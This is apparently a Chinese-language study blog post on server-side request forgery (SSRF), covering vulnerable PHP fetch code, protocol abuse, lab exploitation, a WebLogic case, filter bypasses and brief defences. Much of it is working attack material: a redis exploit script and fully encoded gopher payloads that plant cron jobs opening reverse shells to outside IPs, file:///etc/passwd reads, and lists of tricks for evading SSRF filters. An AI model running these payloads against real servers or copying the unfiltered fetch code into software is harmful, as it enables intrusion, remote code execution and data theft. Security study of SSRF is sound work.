SSRF漏洞总结

最近碰到了挺多SSRF题目的应用,以前学的太浅了,重新学习下,打好基础。

[TOC]

SSRF漏洞简介

概述

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内网。也就是说可以利用一个网络请求的服务,当作跳板进行攻击)
img

产生原因

SSRF 形成的原因往往是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
如:从指定URL地址获取网页文本内容,加载指定地址的图片,下载等。利用的就是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器。

漏洞易发生点

  1. 转码服务
  2. 在线翻译
  3. 图片加载与下载(通过URL地址加载或下载图片)
  4. 图片、文章收藏功能
  5. 网站采集、网页抓取的地方。
  6. 头像的地方。(远程加载头像)
  7. 一切要你输入网址的地方和可以输入ip的地方。
  8. 从URL关键字中寻找:sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain

可以实现的攻击

  1. 可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner 信息
  2. 攻击运行在内网或本地的应用程序
  3. 对内网 WEB 应用进行指纹识别,通过访问默认文件实现(如:readme文件)
  4. 攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击(如:Struts2,sqli)
  5. 下载内网资源(如:利用file协议读取本地文件等)
  6. 进行跳板
  7. 无视cdn
  8. 利用Redis未授权访问,HTTP CRLF注入实现getshell

SSRF漏洞相关的函数和协议

函数

file_get_contents()fsockopen()curl_exec()fopen()readfile()等函数使用不当会造成SSRF漏洞

(1)file_get_contents()

<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

file_get_content函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_content函数把一个字符串写入文件中。

(2)fsockopen()

<?php 
function GetFile($host,$port,$link) { 
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30);   
    if (!$fp) { 
        echo "$errstr (error number $errno) \n"; 
    } else { 
        $out = "GET $link HTTP/1.1\r\n"; 
        $out .= "Host: $host\r\n"; 
        $out .= "Connection: Close\r\n\r\n"; 
        $out .= "\r\n"; 
        fwrite($fp, $out); 
        $contents=''; 
        while (!feof($fp)) { 
            $contents.= fgets($fp, 1024); 
        } 
        fclose($fp); 
        return $contents; 
    } 
}
?>

fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限

(3)curl_exec()

<?php 
if (isset($_POST['url'])){
    $link = $_POST['url'];
    $curlobj = curl_init();// 创建新的 cURL 资源
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
    $result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
    curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源

    $filename = './curled/'.rand().'.txt';
    file_put_contents($filename, $result); 
    echo $result;
}
?>

curl_exec函数用于执行指定的cURL会话

注意

1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议

协议

(1)file: 在有回显的情况下,利用 file 协议可以读取任意内容
(2)dict:泄露安装软件版本信息,查看端口,操作内网redis服务等
(3)gopher:gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
(4)http/s:探测内网主机存活

SSRF漏洞利用

环境

攻击机:kali、远程vps

目标机:阿里云

docker镜像:ssrf_redis

PHP版本:PHP Version 7.2.28(5.6版本测试会失败)

这里我直接使用宝塔来搭建靶机,注意,需要关闭open_basedir,否则会导致file协议失效

image-20220424204936132

远程利用示例代码

ssrf.php

<?php
$ch = curl_init(); //创建新的 cURL 资源
curl_setopt($ch, CURLOPT_URL, $_GET['url']); //设置URL 和相应的选项
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); //抓取 URL 内容并把它传递给浏览器,存储进文件
curl_close($ch); ////关闭 cURL 资源,并且释放系统资源
?>

post.php

<html>
<head>
    <title>post</title>
</head>
<body>
    <?php
    echo $_REQUEST[cmd];
    ?>
</body>
</html>

远程利用方式

1.利用file协议读取

http://39.xx.xx.xx:66/ssrf.php?url=file:///etc/passwd

image-20220424210730715

一般探测内网会读一下:

http://39.xx.xx.xx:66/ssrf.php?url=file:///proc/net/arp

image-20220424211134080

2.利用dict协议

(1)查看端口及端口上运行服务的版本信息

http://39.x.x.x:8000/ssrf.php?url=dict://127.0.0.1:22/

image-20220424211349497

(2)通过dict协议getshell

有关dict协议:向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF)
dict协议要一条一条的执行,而gopher协议执行一条命令就行了

img

3.利用gopher协议

(1)攻击内网redis并反弹shell

利用redis未授权访问攻击redis
攻击redis的exp

shell.sh

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/108.166.201.16/4444 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

使用这个exp随意一个目标,捕获到数据

bash shell.sh 39.x.x.x 6379

再对数据进行一些转换

转换规则:
如果第一个字符是>或者<那么丢弃该行字符串,表示请求和返回的时间。
如果前3个字符是+OK 那么丢弃该行字符串,表示返回的字符串。
\r字符串替换成%0d%0a
空白行替换为%0a

结合gopher协议攻击内网redis,使用上边捕获数据的转换结果即可,然后进行反弹shell:

curl -v 'http://39.105.71.63:66/ssrf.php?url=gopher://127.0.0.1:6379/_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f108.166.201.16%2f4444%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'

img

img

诶,搞这个redis老是把我服务器搞崩,我就不复现了。

(2)伪造post请求反弹shell

curl -v 'http://39.x.x.x:8000/ssrf.php?url=gopher://192.168.1.5:80/_POST%20/post.php%20HTTP/1.1%250d%250aHost:%2039.105.93.165%250d%250aUser-Agent:%20curl/7.58.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f121.36.67.230%2f4444%200%3E%261'

img
img
反弹成功
192.168.1.5是内网Web服务,有post.php

4 .利用http/s协议
探测内网主机存活

img

说明内网ip为192.168.1.3的主机存活

SSRF应用攻击实战

1、gopher攻击redis

参考远程利用 3.利用gopher协议

2、weblogic ssrf攻击redis

下载地址:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
编译并启动环境

docker-compose build
docker-compose up -d

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

1.查看端口
访问

/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:80
//测试http://127.0.0.1:7001:将80替换成7001

img
not connect,说明80端口未开放
img
返回404,说明端口开放
2.探测内网主机存活
img
说明内网ip为192.168.1.1的主机存活
3.注入HTTP头,利用Redis反弹shell
通过ssrf探测内网中的redis服务器,发现172.22.0.2:6379可以连通
和上边的远程利用几乎一样。
img
将反弹shell脚本写入/etc/crontab定时任务

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/121.36.67.230/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F121.36.67.230%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

换行符是“\r\n”换成“%0D%0A”。将url编码后的字符串放在ssrf的域名后面,发送
img
反弹成功
img

SSRF漏洞相关绕过

1、常用绕过方法

1.@

http://abc@127.0.0.1
实际上是以用户名abc连接到站点127.0.0.1,同理
http://8.8.8.8@127.0.0.1:8080、http://127.0.0.1#8.8.8.8

在对@解析域名中,不同的处理函数存在处理差异,如:
http://www.aaa.com@www.bbb.com@www.ccc.com
在PHP的parse_url中会识别www.ccc.com,而`libcur`l则识别为www.bbb.com
2.利用[::]
可以利用[::]来绕过localhost

http://[::]:80/  >>>  http://127.0.0.1

3.添加端口号

http://127.0.0.1:8080

4.利用短网址
站长工具短网址
百度短网址
5.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即

127.0.0.1.xip.io,可解析为127.0.0.1

6.利用DNS解析
在域名上设置A记录,指向127.0.1
7.利用进制转换

127.0.0.1
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

8.句号

127。0。0。1  >>>  127.0.0.1

9.302跳转
使用https://tinyurl.com生成302跳转地址

2、常见限制

1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过。即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址

常见问题

file协议读不出文件

1、权限不够:当前用户对此文件没有可读权限

2、路径输错了:linux系统中,file之后加路径是三个斜线,不能少:比如file:///etc/passwd(其实就是file://和/etc/passwd的组合)

3、存在open_basedir:当open_basedir配置有值时,curl_exec不能使用file协议,并不是受open_basedir的值限制某些文件读不了,而是整个file协议都不能用。这是写在php的curl_exec源码里的,目前没找到绕过的方式。

img

4、php源码不显示:读取php源码,即使读成功了也不会在浏览器里回显(类似html的注释一样),要在返回包里或者view-source中去看。

img

5、不回显的ssrf:代码没写echo,返回值赋到变量里,读成功了你也看不到。

gopher协议和dict协议发不出包

自己在虚拟机搭的测试环境有一个很奇怪的现象,http/s和file协议都能正常使用,但是不能指定端口使用gopher和dict协议,否则就只能发出dns请求,却不能建立tcp的连接(dnslog可以收到请求,nc收不到)。

后面查阅了很多资料,并没有找到明确的答案,只有一个疑似可能的原因:php在编译时没有使用**-with-curlwrappers**参数会导致这个问题。不过这个参数貌似在高版本被去掉了,所以应该只影响低版本php吧。

在实战中如果遇到这个问题,总不能登目标机器把php重新编译一下吧……(动作太大了,而且都能登机器了还要ssrf有什么用呢),目前没找到什么办法绕过。

特殊符号

测试一下各协议对特殊符号的支持,中文符号不测试,测试的所有符号如下:

`~!@#$%^&*()_-+=/|'“;:<>,.?{}[]

【gopher协议】

正常符号:直接传,一次二次url编码都可以

% 直接传可以,但后面接16进制字符就会转义,一次url编码后还是不能接16进制,二次url编码可以

# 会截断,一次url编码绕不过,二次url编码后可以

& 会截断,一次url编码可以,二次url编码也可以

+ 会变成空格,一次二次url编码后都可以

【dict协议】

正常符号:直接传,一次url编码可以,二次url编码不行(不支持二次解码)

以下均不支持二次url解码

% 直接传可以,后面接16进制不行会转义,一次url编码后可以

# 会截断,一次url编码绕不过

& 会截断,一次url编码可以

? 会截断,一次url编码绕不过

+ 会变成空格,一次url编码可以

: 会变成空格,一次url编码绕不过

【http/s协议】

正常符号:直接传,一次url编码可以,二次url编码不行(不支持二次解码)

以下均不支持二次url解码

% 直接传可以,后面接16进制不行会转义,一次url编码后可以

# 会截断,一次url编码绕不过

& 会截断,一次url编码可以

+ 会变成空格,一次url编码可以

【总结】

**%#&+**符号容易出问题

dict协议额外不支持**?:**两个符号,url编码无法绕过

一次url编码可以绕过**%&+三种符号,不能绕过#**

**gopher协议的%**需要编码两次绕过,只一次不行

gopher万能协议,支持二次url解码,没有绕不过的特殊符号。

SSRF漏洞防御

1、禁用不需要的协议(如:file:///gopher://,dict://等)。仅仅允许http和https请求
2、统一错误信息,防止根据错误信息判断端口状态
3、禁止302跳转,或每次跳转,都检查新的Host是否是内网IP,直到抵达最后的网址
4、设置URL白名单或者限制内网IP

参考:

http://www.hackdig.com/07/hack-419420.htm

https://xz.aliyun.com/t/7405#toc-2

后面我摆烂了,服务器老是坏,等有时间继续复现把,先抄下大佬的文章。